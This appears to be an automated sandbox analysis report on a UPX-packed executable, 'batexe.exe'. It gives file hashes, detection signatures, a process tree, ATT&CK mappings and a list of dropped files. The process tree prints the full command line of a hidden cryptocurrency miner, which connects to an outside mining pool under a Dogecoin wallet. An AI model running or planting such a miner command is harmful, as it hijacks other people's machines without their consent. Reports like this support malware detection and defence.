73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
301s
platform
windows10-1703_x64
resource
win10-20231215-ja
resource tags

arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
12/02/2024, 04:36

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
4464	b2e.exe
3228	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
3228	cpuminer-sse2.exe
3228	cpuminer-sse2.exe
3228	cpuminer-sse2.exe
3228	cpuminer-sse2.exe
3228	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/4460-4-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4460 wrote to memory of 4464	4460	batexe.exe	74
PID 4460 wrote to memory of 4464	4460	batexe.exe	74
PID 4460 wrote to memory of 4464	4460	batexe.exe	74
PID 4464 wrote to memory of 4980	4464	b2e.exe	75
PID 4464 wrote to memory of 4980	4464	b2e.exe	75
PID 4464 wrote to memory of 4980	4464	b2e.exe	75
PID 4980 wrote to memory of 3228	4980	cmd.exe	78
PID 4980 wrote to memory of 3228	4980	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4460
- C:\Users\Admin\AppData\Local\Temp\B8F0.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\B8F0.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\B8F0.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4464
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\BE4F.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4980
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3228

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\B8F0.tmp\b2e.exe

Filesize
5.3MB

MD5
9052fdb24dd5c4b87faaa785c836d7a6

SHA1
f300f1f81a4001d1f8ae4196acf5a615fb859d21

SHA256
adf48aceaa3e2c7b9c55dcf36c9ef045f2f36ba5ee3596cee31e560e3323f60b

SHA512
6b4b6e3ebaa72cca6d091ead4b64d70ed06d6900e5aa56d445a2b5e353b29564b724047fd022766f85eb45caf3020a2109f81c55986f5fe1f96b48cf5399954d

Download Submit
C:\Users\Admin\AppData\Local\Temp\B8F0.tmp\b2e.exe

Filesize
3.8MB

MD5
7a69624f7316e5fac68a079a6cf60a81

SHA1
447571efee607e9f5f76959049bd7c3ae6cf8c08

SHA256
b487f8fd1607ad1c71cd1e896f00c0b306f894bc2e0f8bff05496c9b670ed0ba

SHA512
0430154ea7c1c9d7aa479ae0bad090e15b009de546085b382b2fa6b4eb8ecc157a7405e56bffa1b860e2dccb7f11e9f7173d018e8b6483982baa3a135c741d93

Download Submit
C:\Users\Admin\AppData\Local\Temp\BE4F.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
384KB

MD5
eb8ea4d2595402528f73410e2c8651ed

SHA1
23abb385032a9317d00c826eb21e0fe6fc802c50

SHA256
fc3c5c1787c58c465ea47ab132afc59d209b1f7d319ae80a7913ed5c39157017

SHA512
7f4485a662859bdec898bb4f9675c8a834ab570ae7f4df2b6e95a9f5ab45f8fba612d04f0edfe22dc4bdcd3011af0536ed200731262056cd7bec332ce4b18573

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
183KB

MD5
357ef2f8e0fb16129bf63475e3322584

SHA1
58eea750b405896d341f888422c714ca15502634

SHA256
8947952a53951c616d761bc72adb8ba45fcb8340b53f6470292dd35d92b2e606

SHA512
4e13ebbc19860a2d976cd9b938fcbdb13e39867dff0c2f9456a5ddb7f8a4c2b803ef8e0546a63fbe8df54171cfdd33c8f1d6d15c8c168e39287d9e8071fc9d7e

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
128KB

MD5
48c422e815911804d8322f84e605438f

SHA1
b577cb4575fdf07ead63d0f9831833f4f30788e9

SHA256
3247538f008c10c405b77c7a1ff636bd7f7e72b0cf4b5990870c157958b4e6ea

SHA512
0278d1c8a8bb02bb70bac382c89481451ddd147f2b195fed3cf1105524358a04703be54186e138d0e1f1423441e694cd292eb890cfe66bc421eb160821548f8c

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
13.4MB

MD5
e5da15fba1d8469b56957261b27b8974

SHA1
e5db327283f0832b91127b7df1996e14c6e1ab10

SHA256
db5e2db630ed134f3cf620807a3b3a9e0386560ced4edc577a7784c44c370b62

SHA512
28f76b8677d38a0dbca8a1d21351aa7a6b7d3fe37598b035fee7eef31e585a808e6032e14b8beee04cb33ebf8c3143c91d184b7a26e25905c2814b720945db69

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
42KB

MD5
61da3dda4e5628888964b1af36f949ff

SHA1
ccab8f373c0a095beb3b59ffa677bac8946a5294

SHA256
9f815d0e501ab587cc87083f0cd6ce3f272b4181ef110f8f4bcc52162df64f7f

SHA512
9ad983ae20984ee6b46690573fbeda54071dac7ef71e01a016c4dcff68530ba21b3d7307fcd9a7ba7a53d283fa334d16647fbd5e5c3879d7540513648bfd5658

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
64KB

MD5
e7317a0a343dc63f3fa3bf9ca6e93ff0

SHA1
0d48881feb76cf81fc46614bebfa3c134cada128

SHA256
277a43f17ccc4f0fba87c710212de61a41383bcb94410fa093b50ebd50347a63

SHA512
84ef51472db00cd4e90df3062a3cbc29a994c5cf470e54300d4a2f103ba8fb8279ec87b0561625ea1bccd80a7ad664c63457831b4eb919a7608099430b98a3d9

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
14KB

MD5
a05dc6e0ef80d83af942731c107cba23

SHA1
0df3848ae3b6e23f76447b59f9cc6f390d693625

SHA256
89c125ce96c18bc05d47a5ab4fc0198e57b21c501483a187f1da0eddee7673c1

SHA512
c94a214ce9eec79046677fd5fd438d78323766c83cd1d6d68189b17f15842c4e8aab37cb654587d0a7d8db9d43653810813fe34a6ccefaec7f3d3e5d1328316c

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
23.1MB

MD5
3d02e084da37b90347c7274f55c4564c

SHA1
fb24a7b23efe79f8a5809a0ebfcacdbb7435df11

SHA256
feeedacc0f2ff29f8b6c28d1380c919f017307078d88f1ba5a003d350a842768

SHA512
5f5b9fcd2f7c119b197c9b5d1f3e051ef3131afa186c2f9cadffee0fc50dda9c085b86d014e443318f6057234a40469eab42376873925a6b86318f063c5f93fd

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
16.9MB

MD5
fbeb1ed862cf2e1dc8d648f09e601e2b

SHA1
03732d666fd199b9f81602c2f7a948a71dd8d9bb

SHA256
9d70638ed6dfdac70b139f99478c867b0c96c0bb6132a08f8d8a02530cbc9491

SHA512
fda1ffe1533b46ce7267c6929286e096b94afe2e818302bc04e0dcd72b29d301daed1e1eac52dd553e0bd326a7b6b6fbde982442ae34c5c67cee3aa0c2501241

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
14KB

MD5
57bc28e77ba7f02252d5d1c6ebeb7e33

SHA1
03d31966e052d14ff5f92d69ceacf8fc886e003c

SHA256
094b3dcb3308d87ee8c065d27dc1e0ee818c68d37312bdbc03af9c88f20914aa

SHA512
c11bdf493da9bac705cf4d31330ad4bfe2e93c5aa6c0812c47906645e441981880cd651ab20b53e0e9770053d8e3b5a7acdd515ec74f6e16a8c2cdccf49229d4

Download Submit
memory/3228-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3228-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3228-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3228-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/3228-42-0x0000000075040000-0x00000000750D8000-memory.dmp

Filesize
608KB

Download
memory/3228-43-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/3228-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3228-44-0x0000000001140000-0x00000000029F5000-memory.dmp

Filesize
24.7MB

Download
memory/3228-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3228-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3228-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3228-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3228-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4460-4-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4464-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4464-5-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download